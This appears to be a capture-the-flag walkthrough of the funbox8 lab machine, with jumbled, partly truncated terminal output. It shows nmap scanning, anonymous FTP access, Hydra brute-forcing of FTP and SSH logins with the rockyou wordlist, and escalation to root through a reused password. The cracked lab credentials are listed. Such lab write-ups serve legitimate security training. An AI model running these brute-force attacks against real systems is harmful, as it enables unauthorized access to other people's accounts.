```
cat <u>objetive</u> -l python
        # Nmap 7.95 scan initiated Thu Mar 20 00:02:15 2025 as: /usr/lib/nmap/nmap --privileged -sCV -p21,22,80 Nmap scan report for 10.0.2.69 Host is up (0.00016s latency).
              STATE SERVICE VERSION
        21/tcp open ftp
| ftp-syst:
| STAT:
                                 vsftpd 3.0.3
          FTP server status:
                Connected to ::ffff:10.0.2.65
Logged in as ftp
TYPE: ASCII
                No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
                At session startup, client count was 1 vsFTPd 3.0.3 - secure, fast, stable
          End of status
        25c d6:f2:e3:da:7e:d7:3f:94:7e:3b:5d:bc:ef:ee:49:63 (ED25519)
        ftp 10.0.2.69
                  Connected to 10.0.2.69.
220 (vsFTPd 3.0.3)
Name (10.0.2.69:kali): anonymous
331 Please specify the password.
                   Password:
                  230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                   ftp> ls
                   229 Entering Extended Passive Mode (|||22897|)
                   150 Here comes the directory listing.
                                                                       633 May 22 2021 supers3cr3t
4096 May 22 2021 wordpress
                   -rw-r--r-- 1 0
                                      6 1006
                                                     1006
                  drwxr-xr-x
                                ftp> get supers3cr3t
```

```
tp> cd wordpress
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||12358|)
150 Here comes the directory listing.
-rw-r--r- 1 1006 1006
-rw-r--r- 1 1006 1006 1
                                                            405 Feb 06 2020 index.php
19915 May 13 2021 license.txt
8630 May 13 2021 liesmich.html
7345 May 13 2021 readme.html
7165 Jan 21 2021 wp-activate.ph
4096 May 13 2021 wp-blog
351 Feb 06 2020 wp-blog
 -rw-r--r--
                       1 1006
                                         1006
 -rw-r--r--
                       1 1006
                                         1006
                       1 1006
                                         1006
 -rw-r--r--
                      9 1006
                                         1006
drwxr-xr-x
                                                               4096 May 22 2021 wp-blog
351 Feb 06 2020 wp-blog-heade
drwxr-xr-x
                       2 0
                                         0
 -rw-r--r--
                       1 1006
                                         1006
                       1 1006
                                                              2328 Feb 17 2021 wp-comments-p
 -rw-r--r--
                                         1006
                                                              3665 May 13 2021 wp-config-sam
3611 May 22 2021 wp-config.php
                       1 1006
 -rw-r--r--
                                         1006
                       1 0
```



) cat <u>.s3cr3t</u> -p

SWYgdGhlIHJhZGlhbmNlIG9mIGEgdGhvdXNhbmQgc3VucyAvIHdlcmUgdG8gYnVyc3QgYXQgb25jZSBpbnRvI HRoZSBza3kgLyB0aGF0IHdvdWxkIGJlIGxpa2UgLyB0aGUgc3BsZW5kb3Igb2YgdGhlIE1pZ2h0eSBPbmUgYW 5kIEkgYW0gYmVjb21lIERlYXRoLCB0aGUgc2hhdHRlcmVyIG9mIHdvcmxkcw==

> echo "SWYgdGhliHJhZGlhbmNlIG9mIGEgdGhvdXNhbmQgc3VucyAvIHdlcmUgdG8gYnVyc3QgYXQgb25jZ SBpbnRvIHRoZSBza3kgLyB0aGF0IHdvdWxkIGJlIGxpa2UgLyB0aGUgc3BsZW5kb3Igb2YgdGhlIE1pZ2h0eS BPbmUgYW5kIEkgYW0gYmVjb21lIERlYXRoLCB0aGUgc2hhdHRlcmVyIG9mIHdvcmxkcw==" | base64 -d If the radiance of a thousand suns / were to burst at once into the sky / that would be like / the splendor of the Mighty One and I am become Death, the shatterer of worl ds



) hydra -l jane -P /usr/share/wordlists/rockyou.txt ftp://10.0.2.69 -t 4 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not us ations, or for illegal purposes (this is non-binding, these *** ignore la

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-20 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to found, to prevent overwriting, ./hydra.restore [DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries (l [DATA] attacking ftp://10.0.2.69:21/ [21][ftp] host: 10.0.2.69 login: jane password: password

) ftp 10.0.2.69 Connected to 10.0.2.69. 220 (vsFTPd 3.0.3) Name (10.0.2.69:kali): jane 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 229 Entering Extended Passive Mode (|||64264|) 150 Here comes the directory listing. drwxr-xr-x 2 1002 1002 4096 May 22 2021 backups 226 Directory send OK. ftp> cd backups 250 Directory successfully changed. ftp> ls 229 Entering Extended Passive Mode (|||35979|) 150 Here comes the directory listing. -rw-r--r-- 1 1002 59 May 22 2021 keys.txt 1002 226 Directory send OK. ftp> get keys.txt local: keys.txt remote: keys.txt 229 Entering Extended Passive Mode (|||39267|) 150 Opening BINARY mode data connection for keys.txt (59 bytes). 226 Transfer complete. 59 bytes received in 00:00 (97.65 KiB/s)

> cat keys.txt

File: keys.txt

1 kJGgh-kiu65-zghku-76zzt-hgf56
2 llij8-fgzZ-rTzU1-ddfgz-i876S

```
ftp> cd /home
         250 Directory successfully changed.
         ftp> ls -la
         229 Entering Extended Passive Mode (|||58896|)
         150 Here comes the directory listing.
                                                            4096 May 22
4096 May 22
                         6 0
         drwxr-xr-x
                                                                             2021
                                                                            2021 ..
2021 jane
2021 jim
2021 john
                          20 0
         drwxr-xr-x
                                           0
                           3 1002
                                           1002
                                                            4096 May 22
         dr-x----
                                                            4096 May 22
4096 May 22
                            3 1001
                                           1001
         dr-x----
                            4 1000
                                           1000
         dr-x----
                            4 1003
                                           1003
                                                            4096 May 22
                                                                              2021 jules
         226 Directory send OK.
 > hydra -l jim -P /usr/share/wordlists/rockyou.txt ftp://10.0.2.69 -t 4
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
ations, or for illegal purposes (this is non-binding, these *** ignore
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03-
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I t
 found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344399 login tries
[DATA] attacking ftp://10.0.2.69:21/
[21][ftp] host: 10.0.2.69 login: jim password: 12345
 ) hydra -l jules -P /usr/share/wordlists/rockyou.txt ftp://10.0.2.69
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not
ations, or for illegal purposes (this is non-binding, these *** ignore
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-03
 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I
 found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tri
 [DATA] attacking ftp://10.0.2.69:21/
[STATUS] 288.00 tries/min, 288 tries in 00:01h, 14344111 to do in 830:
[STATUS] 277.33 tries/min, 832 tries in 00:03h, 14343567 to do in 861:
 [21][ftp] host: 10.0.2.69
                                      login: jules password: sexylady
                        ftp 10.0.2.69
                     Connected to 10.0.2.69.
                     220 (vsFTPd 3.0.3)
                     Name (10.0.2.69:kali): jules
                     331 Please specify the password.
                     Password:
                     230 Login successful.
229 Entering Extended Passive Mode (|||64667|)
150 Here comes the directory listing.
                  4 1003
                                                   4096 May 22
drwx----
                                                                     2021
                   6 0
                                                   4096 May 22
                                                   4096 May 22
10 May 22
                   2 1003
                                  1003
                                                                           .backups
                   1 1003
                                                                     2021 .bash_history
                                  1003
                                                   220 May 22
3771 May 22
4096 May 22
807 May 22
                   1 1003
                                  1003
                                                                     2021 .bash_logout
                   1 1003
-rw-r--r--
                                  1003
                                                                     2021 .bashrc
                   2 1003
                                                                     2021 .cache
2021 .profile
drwx----
                                  1003
                   1 1003
                                  1003
226 Directory send OK. ftp> get .backups
local: .backups remote: .backups
229 Entering Extended Passive Mode (|||60485|)
550 Failed to open file.
ftp> cd .backups
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||34539|)
150 Here comes the directory listing. drwx----- 2 1003 1003
                                                   4096 May 22
                                                                     2021
                   4 1003
                                                                     2021 ...
                                                   4096 May 22
drwx----
                                  1003
                                              139921517 May 22 2021 .bad-passwds
0 May 22 2021 .forbidden-passwds
562 May 22 2021 .good-passwd
                     1003
                                  1003
                     1003
                                  1003
                                                                    2021 .good-passwd
2021 .very-bad-passwds
                                  1003
                                                       0 May 22
                     1003
226 Directory send OK.
ftp> get .good-passwd
local: .good-passwd remote: .good-passwd
226 Transfer complete.
562 bytes received in 00:00 (1.17 MiB/s)
ftp> quit
```

```
ftp> cd /home/jules/.backups
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||48981|)
150 Here comes the directory listing.
                                     4096 May 22 2021 .
4096 May 22 2021 .
139921517 May 22 2021 .bad-passwds
drwx---- 2 1003 1003
drwx---- 4 1003 1003
             1 1003
                           1003
 > hydra -l john -P <u>/home/kali/Aaaa/badpass</u> ssh://10.0.2.69
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Pleas
 aws and ethics anyway).
 Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at [WARNING] Many SSH configurations limit the number of parallel [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344400 l [DATA] attacking ssh://10.0.2.69:22/
  [STATUS] 170.00 tries/min, 170 tries in 00:01h, 14344239 to do
  [22][ssh] host: 10.0.2.69 login: john password: zhnmju!!!
   john@funbox8:~$ ls -la
   total 28
                                                 2021 .
   dr-x---- 4 john john 4096 May 22
                                                 2021 ...
   drwxr-xr-x 6 root root 4096 May 22
   -rw-r--r-- 1 john john 220 Feb 25
                                                 2020 .bash_logout
   -rw-r--r-- 1 john john 3771 Feb 25
                                                 2020 .bashrc
   drwx----- 2 john john 4096 May 22
                                                 2021 .cache
   -rw-r--r-- 1 john john 807 Feb 25
                                                 2020 .profile
   drwx----- 2 john john 4096 May 22
                                                 2021 .todo
   john@funbox8:~$ cd .todo/
   john@funbox8:~/.todo$ ls -la
   total 12
   drwx----- 2 john john 4096 May 22 2021 .
   dr-x---- 4 john john 4096 May 22 2021 ...
   -rwx----- 1 john john 131 May 22 2021 todo.list
   john@funbox8:~/.todo$ cat todo.list
   1. Install LAMP
   2. Install MAIL-System
   3. Install Firewall
   4. Install Plesk
   5. Chance R00TPASSWD, because it's the same right now.
```

```
john@funbox8:~/.todo$ su root
Password:
root@funbox8:/home/john/.todo# whoami
root
root@funbox8:/home/john/.todo# id
uid=0(root) gid=0(root) groups=0(root)
root@funbox8:/home/john/.todo# password root -> zhnmju!!! the same as john
```